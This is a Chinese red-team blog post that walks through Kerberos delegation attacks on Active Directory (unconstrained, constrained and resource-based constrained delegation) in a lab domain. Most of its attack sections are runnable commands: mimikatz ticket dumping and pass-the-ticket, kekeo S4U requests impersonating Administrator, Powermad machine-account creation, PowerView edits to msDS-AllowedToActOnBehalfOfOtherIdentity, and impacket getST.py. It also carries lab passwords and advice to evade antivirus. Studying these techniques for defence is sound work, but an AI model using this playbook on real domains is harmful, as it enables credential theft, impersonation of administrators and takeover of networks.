域渗透之委派攻击详解(非约束委派/约束委派/资源委派)

2021-11-10 14:57:03 浏览数 (1)

大家好,这里是 渗透攻击红队 的第 77 篇文章,本公众号会记录一些红队攻击的案例,不定时更新!请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关!

委派是域中的一种安全设置,可以允许某个机器上的服务代表某个用户去执行某个操作,主要分为三种:

1、非约束性委派

2、约束性委派

3、基于资源的约束性委派

这篇文章主要对这三种委派方式相关的攻击进行详解。

域渗透之委派攻击详解

非约束委派攻击利用

用户 A 去访问服务B,服务 B 的服务账户开启了非约束委派,那么当用户 A 访问服务 B 的时候会将用户 A 的 TGT 发送给服务 B 并保存进内存,服务 B 能够利用用户 A 的身份去访问用户 A 能够访问的任意服务。

非约束委派攻击原理及利用

当前域环境

域控:redteamadministrator(10.10.10.10) 域内主机(配置了非约束性委派):redteamsaulGoodman(10.10.10.8)

非约束委派

首先创建一个非约束委派账户,注册 SPN

代码语言:javascript复制
 setspn -U -A MSSQLSvc/mssql.redteam.com:1433 saulgoodman

然后需要把委派属性打开:

当服务账号或者主机被设置为非约束性委派时,其 userAccountControl 属性会包含 TRUSTED_FOR_DELEGATION

查找域内非约束委派用户和计算机

发现域内主机主机我一般是使用 LDAP,可以使用如下方式:

Adfind 下载地址:https://www.softpedia.com/get/Programming/Other-Programming-Files/AdFind.shtml

代码语言:javascript复制
 Adfind 使用参数:
 AdFind [switches] [-b basedn] [-f filter] [attr list]
 -b:指定要查询的根节点
 -f:LDAP过滤条件
 attr list:需要显示的属性

例如需要查询当前域内的非约束委派用户:

代码语言:javascript复制
AdFind.exe -b "DC=redteam,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

可以看到 saulgoodman 这个用户就是域内非约束委派用户!

查找非约束委派用户的工具还有很多!例如 Adfind、ldapdomaindump、PowerView … 等等,我最常用的只有 Adfind

非约束委派攻击利用

非约束委派:当 user 访问 service1 时,如果 service1 的服务账号开启了 unconstrained delegation(非约束委派),则当 user 访问 service1 时会将 userTGT 发送给 service1 并保存在内存中以备下次重用,然后 service1 就可以利用这张TGTuser的身份去访问域内的任何服务(任何服务是指user能访问的服务) 流程如下:

  1. 用户向KDC请求可转发TGT,记为TGT1
  2. KDC返回TGT1
  3. 用户通过TGT1向KDC请求转发TGT2
  4. KDC返回TGT2
  5. 用户通过TGT1向KDC申请访问服务1的RST
  6. KDC返回RST
  7. 用户发送RST、TGT1、TGT2和TGT2的SessionKey给服务1
  8. 服务1通过用户的TGT2请求KDC,以用户名义请求服务2的RST(服务访问票据)
  9. KDC给服务1返回服务2的RST
  10. 服务1以用户名义向服务2发出请求
  11. 服务2响应服务1的请求
  12. 服务1响应用户第7步骤的请求

这个流程有一个问题:TGT2是不被限制的,服务1完全可以用它来请求访问任何想访问的服务。攻击其实就是利用的这点,使用从高权限账户处得到的TGT去获取权限。

代码语言:javascript复制
当前域:redteam.com
 域控主机名:AD-2016(IP:10.10.10.10)、用户 redteamadministrator (win2016)
 域内主机名:web-2008(IP:10.10.10.8)、用户 redteamsaulGoodman   (win2008)

在 Windows 系统中,只有服务账号和主机账号的属性才有委派功能,普通用户默认是没有的!

现在我们将 web-2008 这个主机用户设置为非约束委派(注意是:主机用户而不是服务用户)

web-2008 机器上设置了非约束委派。使用 dc 或者域管,去登录 web-2008 ,可在 web-2008 上留存票据凭证,然后需要让域控模拟访问被设置了非约束委派的机器:

代码语言:javascript复制
 Enter-PSSession -ComputerName web-2008

注意:如果遇到这种情况需要开启 wmirm 端口:(原因是 wmi 版本太老了,需要加 -Port 指定端口,老版本的 wmi 端口是 80

使用命令行打开 wmi 服务:(需要管理员权限):

代码语言:javascript复制
WinRM QuickConfig  (y)

配置好后查看是否有回显,如果有就说明开启成功了:

域控模拟访问被设置了约束委派的机器后,这个时候其实域管理员的 TGT 已经缓存在 web-2008 机器上了。

此时域管的凭证已缓存于目标机器,使用域内机器登录本地管理员,导出相关凭证、清除一下当前票据缓存:

代码语言:javascript复制
mimikatz "privilege::debug" "kerberos::purge" "exit"

然后我们就可以使用 mimikatzdump 所有票据出来:

代码语言:javascript复制
 privilege::debug 
 sekurlsa::tickets /export

这个时候 [0;7a2f78]-2-0-60a10000-Administrator@krbtgt-REDTEAM.COM.kirbi 就是域管理 administratorTGT ! 我们现在访问域控肯定是访问不了的:

这个时候就就需要通过 pttTGT 注入到当前会话中:

代码语言:javascript复制
kerberos::ptt [0;7a2f78]-2-0-60a10000-Administrator@krbtgt-REDTEAM.COM.kirbi

这个时候就能访问到域控了:(用本地管理员才可以,所以需要提权到本地 administrator 权限)

约束委派攻击利用

约束委派(Constrained Delegation)即 Kerberos 的扩展协议 S4U2Proxy,服务账号只能获取某用户的 TGS ,从而只能模拟用户访问特定的服务,这也相对应非约束委派更安全一些。

约束委派攻击原理及利用

由于非约束委派的不安全性(配置了非约束委派的机器在 LSASS 中缓存了用户的 TGT 票据可模拟用户去访问域中任意服务),微软在 Windows Server 2003 中引入了约束委派,对 Kerberos 协议进行拓展,引入了 S4U (S4U2Self / S4U2proxy), 运行服务代表用户向 KDC 请求票据。

  • S4U2self (Service for User to S4U2Self) 可以代表自身请求针对其自身的 Kerberos 服务票据(ST);如果一个服务账户的 userAccountControl 标志为 TRUSTED_TO_AUTH_FOR_DELEGATION, 则其可以代表任何其他用户获取自身服务的 TGS/ST。
  • S4U2proxy(Service for User to Proxy) 可以以用户的名义请求其它服务的 ST,限制了 S4U2proxy 扩展的范围。服务帐户可以代表任何用户获取在 msDS-AllowedToDelegateTo 中设置的服务的 TGS/ST,首先需要从该用户到其本身的 TGS/ST,但它可以在请求另一个 TGS 之前使用 S4U2self 获得此 TGS/ST。

不同于允许委派所有服务的非约束委派,约束委派的目的是在模拟用户的同时,限制委派机器/帐户对特定服务的访问。

S4U2self

(1) 用户向 service1 发送请求。用户已通过身份验证,但 service1 没有用户的授权数据。通常,这是由于身份验证是通过 Kerberos 以外的其他方式验证的。

(2) 通过 S4U2self 扩展以用户的名义向 KDC 请求用于访问 service1 的 ST1。

(3) KDC 返回给 service1 一个用于用户验证 service1 的 ST1,该 ST1 可能包含用户的授权数据。

(4) service1 可以使用 ST 中的授权数据来满足用户的请求,然后响应用户。

尽管 S4U2self 向 service1 提供有关用户的信息,但 S4U2self 不允许 service1 代表用户发出其他服务的请求,这时候就轮到 S4U2proxy 发挥作用了。

S4U2proxy:

(5) 用户向 service1 发送请求,service1 需要以用户身份访问 service2 上的资源。

(6) service1 以用户的名义向 KDC 请求用户访问 service 2的 ST2。

(7) 如果请求中包含 PAC,则 KDC 通过检查 PAC 的签名数据来验证 PAC ,如果 PAC 有效或不存在,则 KDC 返回 ST2 给 service1,但存储在 ST2 的 cname 和 crealm 字段中的客户端身份是用户的身份,而不是 service1 的身份。

(8) service1 使用 ST2 以用户的名义向 service2 发送请求,并判定用户已由 KDC 进行身份验证。

(9) service2 响应步骤 8 的请求。

(10) service1 响应用户对步骤 5 中的请求。

小提示

如果我们可以攻破配置约束委派的服务账户(获取密码/Hash),我们就可以模拟域内任意用户(如 domainadministrator) 并代表其获得对已配置服务的访问权限(获取 TGS 票据)。

此外,我们不仅可以访问约束委派配置中用户可以模拟的服务,还可以访问使用与模拟帐户权限允许的任何服务。(因为未检查 SPN,只检查权限)。比如,如果我们能够访问 CIFS 服务,那么同样有权限访问 HOST 服务。注意如果我们有权限访问到 DC 的 LDAP 服务,则有足够的权限去执行 DCSync。

如果 AD 中将用户标记为“帐户敏感且无法委派”,则无法模拟其身份。

当前域环境

域:redteam.red

域控:redteamadministrator(AD-2008,10.10.10.10)

域内主机:redteamredteam-iis(redteam-iis,10.10.10.8,redteam-iis:Server12345)

约束委派环境配置

在Windows系统中,普通用户的属性中没有委派(Delegation)这个选项卡,只有服务账号、主机账号才有。

服务账号(Service Account),域内用户的一种类型,服务器运行服务时所用的账号,将服务运行起来并加入域。例如MS SQL Server在安装时,会在域内自动注册服务账号 SqlServiceAccount,这类账号不能用于交互式登录。

1、先注册一个 SPN:

代码语言:javascript复制
setspn -U -A SQLServer/redteam.red/MSSQL redteam-iis

此时用户 redteam-iis 已注册 SPN:

代码语言:javascript复制
 setspn -L redteam-iis

2、然后配置服务账号:

3、添加一个服务:

4、输入域控主机名 ad-2008 然后点击检查名称

5、选择服务为 cifs

约束委派攻击利用

为了实验能成功,先使用 mimikatz 把 redteam-iis 机器的内存票据清空:

代码语言:javascript复制
 # 清空内存票据
 kerberos::purge
 # 查看内存中的票据
 kerberos::list

1、使用 Adfind 查询约束委派的用户

代码语言:javascript复制
AdFind.exe -h 10.10.10.8 -u redteam-iis -up Server12345 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

2、利用 kekeo 请求该用户的 TGT:TGT_redteam-iis@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi

代码语言:javascript复制
kekeo.exe 
 
tgt::ask /user:redteam-iis /domain:redteam.red /password:Server12345 /ticket:administrator.kirbi
代码语言:javascript复制
用 kekeo 请求该用户的 TGT 命令解释:
tgt::ask /user:redteam-iis /domain:redteam.red /password:Server12345 /ticket:administrator.kirbi
/user: 服务用户的用户名
/password: 服务用户的明文密码
/domain: 所在域名
/ticket: 指定票据名称,不过这个参数没有生效,可以忽略

得到服务用户 TGT:TGT_redteam-iis@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi
使用这张 TGT 通过伪造 s4u 请求以 administrator 用户身份请求访问 AD-2008 CIFS的 ST

tgs::s4u /tgt:TGT_redteam-iis@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi /user:Administrator@redteam.red /service:cifs/AD-2008.redteam.red

S4U2Self 获取到的 ST1 以及 S4U2Proxy 获取到的 AD-2008 CIFS 服务的 ST2 会保存在当前目录下

3、使用这张 TGT (TGT_redteam-iis@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi) 获取域机器的 ST:TGS_Administrator@redteam.red@REDTEAM.RED_cifs~AD-2008.redteam.red@REDTEAM.RED.kirbi

代码语言:javascript复制
tgs::s4u /tgt:TGT_redteam-iis@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi /user:Administrator@redteam.red /service:cifs/AD-2008.redteam.red

4、使用 mimikatz 将 ST2 导入当前会话即可,如果有杀软,自行免杀,运行 mimikatz 进行 ptt:

代码语言:javascript复制
mimikatz.exe

kerberos::ptt TGS_Administrator@redteam.red@REDTEAM.RED_cifs~AD-2008.redteam.red@REDTEAM.RED.kirbi

这个 dir 时候就能访问到域控了,这就是整个约束委派攻击的整个利用流程!

在内网域渗透的信息搜集中,若我们拿到了一个约束委派的用户账号和密码后,不妨使用约束委派攻击,过程中需注意文章里工具免杀问题。

基于资源的约束委派攻击利用

通过利用基于资源的约束委派攻击,我们能够使普通域用户以域管理员身份访问远程计算机 CIFS 等服务,实现本地权限提升。

基于资源的约束性委派 (RBCD:Resource Based Constrained Delegation):为了使用户/资源更加独立,微软在Windows Server 2012中引入了基于资源的约束性委派。基于资源的约束委派不需要域管理员权限去设置,而把设置属性的权限赋予给了机器自身。

基于资源的约束性委派允许资源配置受信任的帐户委派给他们。

基于资源的约束委派只能在运行 Windows Server 2012 和 Windows Server 2012 R2 及以上的域控制器上配置,但资源的约束委派可以跨域森林和跨域。

配置了基于资源的约束委派的账户的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性的值为被允许基于资源约束性委派的账号的SID。

2008 及以下的域控没有 msDS-AllowedToActOnBehalfOfOtherIdentity 这个属性,只有 Windows Server 2012 和 Windows Server 2012 R2 及以上的域控制器才有 msDS-AllowedToActOnBehalfOfOtherIdentity 这个属性:

基于资源的约束委派攻击原理及利用

攻击原理

当我们知道资源的约束委派攻击的简要后就可以知道:资源的约束委派不再需要域管理员权限设置委派,只需拥有在计算机对象上编辑msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限,说白了其实就是:计算机加入域时,加入域的域用户和被加入域的域机器自身拥有权限。

换句话说如果我们拥有配置某台主机 msDS-AllowedToActOnBehalfOfOtherIdentity的权限与创建机器账户的权限,那我们就相当于拿到了此机器的所有权限。至于为什么是机器账户,而不能是普通用户的账户,因为攻击的时候会利用到 S4U2Self 协议,而它只适用于具有 SPN 的账户,普通账户是没有 SPN 的,而机器账户是有的。

那么大家思考下,谁有修改某台主机 msDS-AllowedToActOnBehalfOfOtherIdentity 的权限呢?

看上面这两张图,win7 (机器名)这台机器在加域的时候填写的域内账户是 saulgoodman,那么 saulgoodman 这个域用户就有修改 win7 (机器名)这台主机的msDS-AllowedToActOnBehalfOfOtherIdentity 属性的权限

在大型内网域环境中,将机器加入到域环境中一般不会用域管权限,而是用一个专门加域的域用户(例如上图的 saulgoodman 就是一个加域用户)去操作。那么当我们拿下该域用户的账号密码时,就可以把通过该域用户加入到域里的所有机器都拿下。

所以如何想利用基于资源的约束性委派进行攻击的话就需要如下两个点:

  • 一个机器账户

域内用户都有一个属性叫做 ms-ds-MachineAccountQuota,它代表的是允许用户在域中常见计算机账户的个数,默认是10。那么这就代表我们如果拥有一个普通的域用户那么我们就可以利用这个用户最多可以创建十个新的计算机帐户也就是机器账户。

  • 一个有权利修改 msDS-AllowedToActOnBehalfOfOtherIdentity 的账户

攻击者可以查询域内计算机的 mS-DS-CreatorSID,这个值代表的是将计算机加入到域内的用户,它是具有修改 msDS-AllowedToActOnBehalfOfOtherIdentity的权限的,如果我们可以拿到那个用户的凭据,就可以控制那个用户添加到域内的所有的电脑。

攻击原理

首先添加机器账户,修改 msDS-AllowedToActOnBehalfOfOtherIdentity 值为机器账户的 sid,然后以机器账户的身份伪造成 administrator 申请一张访问此机器账户机器的 ticket(类似于白银票据),因为机器账户没有配置约束性委派,所以这张票据是不可转发的,但是在基于资源的约束性委派中,票据是否可以转发不重要,对之后对 s4u2proxy 不影响,最后利用这张 ticket 去申请访问修改了 msDS-AllowedToActOnBehalfOfOtherIdentity 属性的机器。

攻击利用

saulgoodman.cn 域环境:

角色

机器 IP

主机名

服务器类型

saulgoodmanadministrator

10.0.0.12

AD-2012

Windows 2012 R2(域控)

saulgoodmanredteam-iis

10.0.0.8

Web-2008

Windows 2008(被控的跳板机,所有攻击都在这个机器里完成)

saulgoodmansaulgoodman

10.0.0.7

Win7

Windows 7(受害机器)

其中 saulgoodman 这个域用户就是加域用户,当我们拿下一台机器权限,发现是在域环境,然后在电脑里发现 saulgoodman 域用户的账号密码,因为需要 saulgoodman 域用户将其他机器加入到域环境里,所以有可能会获得到 saulgoodman 的账号密码。

然后发现当前域用户并不在本地管理组里,就可以通过 saulgoodman 域用户提权到 adminsitrator。

由上图可见,当前域用户 saulgoodman 不是 win7 机器的本地管理员。

在 saulgoodman.cn 域中,saulgoodman 域用户负责将 web-2008 的机器或者 Win7 机器加入到 saulgoodman.cn 域里,那么当我们拿下 saulgoodman 这个域用户的权限后,就可以拿下域内 web-2008 的域机器和 win7的域机器。

假设我们已经获取到加域机器的 saulgoodman 的账户密码:

用户名

密码

saulgoodmansaulgoodman

admin!@#45

1、通过 ADfind 查询每个域机器是由哪个域用户添加进域的,通过 mS-DS-CreatorSID 查看域用户的 sid:

代码语言:javascript复制
C:UserssaulgoodmanDesktop>AdFind.exe -h 10.0.0.12 -u saulgoodman -up admin!@#45 -b "DC=saulgoodman,DC=cn" -f "objectClass=computer" mS-DS-CreatorSID

AdFind V01.52.00cpp Joe Richards (support@joeware.net) January 2020

Using server: AD-2012.saulgoodman.cn:389
Directory: Windows Server 2012 R2

dn:CN=AD-2012,OU=Domain Controllers,DC=saulgoodman,DC=cn

dn:CN=WEB-2008,CN=Computers,DC=saulgoodman,DC=cn

dn:CN=WIN7,CN=Computers,DC=saulgoodman,DC=cn
>mS-DS-CreatorSID: S-1-5-21-3258976832-1609833424-2410015844-1108


3 Objects returned

得到 win7 机器是 sid:S-1-5-21-3258976832-1609833424-2410015844-1108 的用户加入到域的。

那么问题来了,我们怎么知道 S-1-5-21-3258976832-1609833424-2410015844-1108 是那个域用户的 sid 呢?

2、若是想要查询每个域用户的 sid 就可以使用 sid2user 来帮助我们完成:(需要把 - 去掉)

代码语言:javascript复制
sid2user.exe \10.0.0.12 5 21 3258976832 1609833424 2410015844 1108

Name is saulgoodman
Domain is SAULGOODMAN
Type of SID is SidTypeUser

这个时候就知道了 sid:S-1-5-21-3258976832-1609833424-2410015844-1108 是域用户 saulgoodman 。

我们需要添加一个机器用户,因为需要用机器用户去申请票据,本身的 win7 机器账户我们不知道他的密码所以无法申请票据,所以我们需要添加一个机器用户,用来帮助我们申请票据。

3、然后利用 powermad 添加机器账户:

下载地址:https://github.com/Kevin-Robertson/Powermad

代码语言:javascript复制
# 添加用户 goodman 密码 123456
powershell
Set-ExecutionPolicy Bypass -Scope Process
 . .Powermad.ps1
New-MachineAccount -MachineAccount goodman -Password $(ConvertTo-SecureString "123456" -AsPlainText -Force)
# 验证是否添加成功
net group "domain computers" /domain

此时就有了一个域机器账户 goodman:

4、获取 goodman 的 object Sid:得到了 sid 为:S-1-5-21-3258976832-1609833424-2410015844-1116

下面是修改 win7 的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性的值,使用Powerview :https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

5、配置 goodman 到 win7 的基于资源约束的委派:

代码语言:javascript复制
powershell
Set-ExecutionPolicy Bypass -Scope Process
. .powerview.ps1
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3258976832-1609833424-2410015844-1116)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer win7| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

验证是否成功添加:

代码语言:javascript复制
Get-DomainComputer win7 -Properties msds-allowedtoactonbehalfofotheridentity

若想清除 msds-allowedtoactonbehalfofotheridentity 属性的值,可用如下命令:

代码语言:javascript复制
Set-DomainObject win7 -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose

6、使用 impacket的 getST.py 生成票据(建议使用 socks5),会在当前目录下生成 administrator.ccache 文件:

代码语言:javascript复制
python getST.py -dc-ip 10.0.0.12 saulgoodman.cn/goodman$:123456 -spn cifs/win7.saulgoodman.cn -impersonate administrator

7、之后使用 mimikatz 导入票据:

代码语言:javascript复制
kerberos::ptc administrator.ccache

此时就能成功访问 Win7 了,这就是基于资源的约束委派攻击利用的整个流程。

若大家复现的话可以多尝试几遍,一次不成功就重启一下,有的时候会出现玄学问题,重启一下就好了。

0 人点赞